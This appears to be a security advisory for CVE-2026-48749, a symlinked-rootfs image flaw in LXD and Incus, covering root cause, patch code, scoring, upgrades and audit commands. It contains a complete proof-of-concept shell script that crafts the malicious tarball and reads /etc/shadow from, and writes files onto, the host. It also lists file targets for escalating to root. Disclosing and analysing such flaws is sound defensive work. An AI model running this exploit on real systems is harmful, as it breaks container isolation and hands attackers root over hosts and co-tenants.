CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

Canonical LXD and Linux Containers Incus are system container and virtual machine managers built on top of LXC and QEMU. Both platforms expose a REST API over a local Unix socket or network interface, enabling users and tenants to import container images, initialize instances, and manage container lifecycles. One core feature of the management API is the ability to push and pull files directly to and from an instance's root filesystem, even when the container is in a stopped state.

A vulnerability identified as CVE-2026-48749 (with corresponding vendor advisories GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) exists in how the daemon validates imported unified tarball images and subsequently resolves the instance rootfs path during file operations. Classified under CWE-73 (External Control of File Name or Path), the flaw allows an attacker to control the target path of host-level file operations by embedding a symbolic link inside an imported image archive.

To trigger the vulnerability, an attacker with permissions to import images and create instances constructs a tar archive containing duplicate entries for the rootfs path. The first entry is a standard directory that satisfies the initial image structural checks, while the second entry is a symbolic link pointing to / (the host root filesystem). When the archive is extracted into the storage pool, the symbolic link supersedes the directory.

When the attacker subsequently executes a file pull or push command against the initialized, stopped instance, the LXD or Incus daemon invokes its privileged forkfile helper binary. Because the instance driver resolves the rootfs path without checking for symbolic links or enforcing directory boundary confinement, forkfile performs a chroot() call directly into the host's root filesystem. This breaks container isolation and allows the user to read or overwrite arbitrary files on the host operating system with root privileges.

The root cause of CVE-2026-48749 stems from an architectural mismatch between archive validation during image import, sequential tar extraction mechanics, and unconfined path resolution within the instance storage driver. LXD and Incus support importing unified tarball images, which must contain an instance configuration file (metadata.yaml) and a root filesystem directory (rootfs/).

During the image import phase, the validation logic inspects the archive headers sequentially to verify the presence of metadata.yaml and a valid rootfs/ directory entry. Once validation succeeds, the archive is unpacked onto the target storage pool volume. Standard tar extraction routines process archive headers in order; if a tarball contains an initial directory entry named rootfs/ followed by a subsequent header also named rootfs configured as a symbolic link (rootfs -> /), the extraction routine overwrites or replaces the empty directory with the symbolic link.

The second half of the vulnerability occurs when the daemon interacts with the extracted instance volume on disk. Prior to the patch, the instance driver's RootfsPath() and TemplatesPath() methods constructed paths using standard string concatenation via filepath.Join(d.Path(), "rootfs"). The driver did not verify via os.Lstat() whether the resulting path was a symbolic link, nor did it use kernel-enforced directory descriptors to prevent traversal outside the instance's base directory d.Path().

When a user executes lxc file pull or lxc file push (or the incus equivalents) on a stopped container, the daemon spawns the internal forkfile subcommand to perform file manipulation safely inside the container's filesystem context. The daemon opens the path returned by d.RootfsPath()—which the kernel resolves through the symlink to the host's /—and passes the resulting file descriptor to forkfile. Inside forkfile, the process executes chroot() to this file descriptor under root permissions, effectively chrooting into the host operating system root rather than an isolated container directory.

The remediation implemented across Canonical LXD commits (including 254b85c9301397e25304116b63da9154093199da and edb6d994f77333c9c33f4d9a137c754d142f3818) addresses the vulnerability at both the path resolution helper layer and the VFS confinement layer. Previously, the common instance driver generated paths to internal subdirectories directly without inspecting filesystem metadata.

// Vulnerable pattern prior to fix:
func (d *common) RootfsPath() string {
    return filepath.Join(d.Path(), "rootfs")
}
 
func (d *common) TemplatesPath() string {
    return filepath.Join(d.Path(), "templates")
}

To prevent symbolic link following at the top-level instance subdirectories, the maintainers introduced a dedicated subPath() validation method. This function uses os.Lstat() to inspect the target inode without following symbolic links and explicitly rejects any entry where the os.ModeSymlink bit is set:

// Patched path resolution with explicit symlink rejection:
func (d *common) subPath(name string) (string, error) {
    path := filepath.Join(d.Path(), name)
    fi, err := os.Lstat(path)
    if err != nil {
        if os.IsNotExist(err) {
            // Allow path return if directory has not been created yet
            return path, nil
        }
        return "", err
    }
 
    // Reject if the subdirectory entry itself is a symbolic link
    if fi.Mode()&os.ModeSymlink != 0 {
        return "", fmt.Errorf("%q for instance %q is a symlink", name, d.name)
    }
 
    return path, nil
}

In addition to the os.Lstat() check, newer branches introduce confined directory resolution using Go's os.OpenRoot / os.Root API (openSubPath, OpenRootfs, and OpenTemplates). By opening the instance's base directory as an os.Root object and resolving subdirectories relative to that handle, the Go runtime and underlying operating system kernel enforce path boundary confinement:

> [!NOTE] > Using os.Root (backed by Linux openat2 with RESOLVE_BENEATH / RESOLVE_IN_ROOT) provides defense-in-depth against time-of-check to time-of-use (TOCTOU) race conditions and multi-component symlink escapes.

This two-tiered fix is comprehensive. The os.Lstat() verification immediately blocks static symlink replacement of rootfs and templates directories across all callers of RootfsPath() and TemplatesPath(), while the transition to os.Root file descriptors ensures that subsequent file operations cannot traverse out of the instance directory boundary.

Exploiting CVE-2026-48749 requires low privileges (PR:L), specifically an authenticated user or tenant account with access to the LXD or Incus API (either via local group membership such as lxd / incus-admin, or via a restricted project tenant with image import permissions). No user interaction or complex timing is required.

The attack methodology proceeds in four distinct phases:

1. Archive Construction: The attacker creates a valid directory containing a minimal metadata.yaml file and an empty rootfs/ directory, archiving them into a base tarball.
2. Symlink Appending: The attacker removes the local rootfs/ directory, creates a symbolic link named rootfs pointing to /, and uses tar --append to add the symlink to the existing tarball.
3. Image Import and Instance Initialization: The attacker imports the crafted tarball into the daemon (incus image import or lxc image import) and initializes a stopped container instance (incus init or lxc init) without starting it.
4. Host File Read/Write: The attacker runs file pull to exfiltrate sensitive host files (such as /etc/shadow) or file push to write arbitrary files onto the host filesystem (such as /etc/crontab or /root/.ssh/authorized_keys).

The following proof-of-concept (PoC) script demonstrates full exploitation against an Incus or LXD environment:

#!/bin/sh
set -eu
 
tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
 
# Step 1: Create legitimate image directory layout
mkdir -p "${tmpdir}/img/rootfs"
cat <<__EOF__ >"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__
 
# Step 2: Create base tar archive
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
 
# Step 3: Inject duplicate rootfs symlink pointing to host root
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
 
# Step 4: Import malicious image into daemon
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
 
# Step 5: Read sensitive host files (Arbitrary File Read)
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
 
# Step 6: Create or overwrite files on the host (Arbitrary File Write)
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

In Canonical LXD deployments, replacing the incus CLI invocations with lxc executes the exact same code path and yields identical host-level arbitrary file read and write primitives.

The security impact of CVE-2026-48749 is critical, carrying a CVSS v3.1 base score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Because LXD and Incus daemons frequently listen on network sockets for cluster and remote client management, the attack vector is classified as Network (AV:N). The scope is Changed (S:C) because a vulnerability inside the container management layer results in direct compromise of the underlying host operating system.

In multi-tenant environments where non-administrative users are granted restricted project access to manage their own containers and images, this vulnerability completely breaks tenant isolation. A low-privileged tenant can escape their project boundary and gain full administrative control over the host machine and all co-hosted containers or virtual machines.

Confidentiality Impact (C:H): Attackers can read any file on the host filesystem, including /etc/shadow, host SSH private keys, TLS certificates for the LXD/Incus cluster, database credentials, and memory/disk states of other running instances.

Integrity and Availability Impact (I:H/A:H): By leveraging lxc file push or incus file push, an attacker can write arbitrary files with root ownership anywhere on the host. Overwriting /etc/crontab, /etc/systemd/system/ service units, /root/.ssh/authorized_keys, or dynamic system libraries (ld.so.preload) immediately converts the arbitrary file write primitive into unauthenticated root remote code execution on the host.

Organizations running Canonical LXD or Linux Containers Incus must upgrade to the patched releases immediately. The vulnerability is remediated in the following versions:

• Canonical LXD: Upgrade to 4.0.11, 5.0.7, 5.21.5, 6.9.0, or later.
• Linux Containers Incus: Upgrade to 7.2.0 or later.

In environments where immediate patching is not feasible, administrators must restrict access to the LXD and Incus daemon Unix sockets (/var/snap/lxd/common/lxd/unix.socket or /var/lib/incus/unix.socket) and remote HTTPS APIs solely to fully trusted host administrators. Multi-tenant users or untrusted automation pipelines should be prevented from importing custom image archives via RBAC or project restrictions (restricted.images configurations).

Security teams can audit existing storage pools to detect whether any imported images or initialized instances contain malicious rootfs or templates symbolic links using the following filesystem search commands:

# Audit LXD storage pools for symlinked rootfs or templates directories
find /var/lib/lxd/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)
find /var/snap/lxd/common/lxd/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)
 
# Audit Incus storage pools for symlinked rootfs or templates directories
find /var/lib/incus/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)

Additionally, host intrusion detection systems (auditd or eBPF-based monitors) should be configured to alert on lxd forkfile or incus forkfile processes accessing sensitive host paths such as /etc/shadow, /etc/sudoers, or /etc/crontab.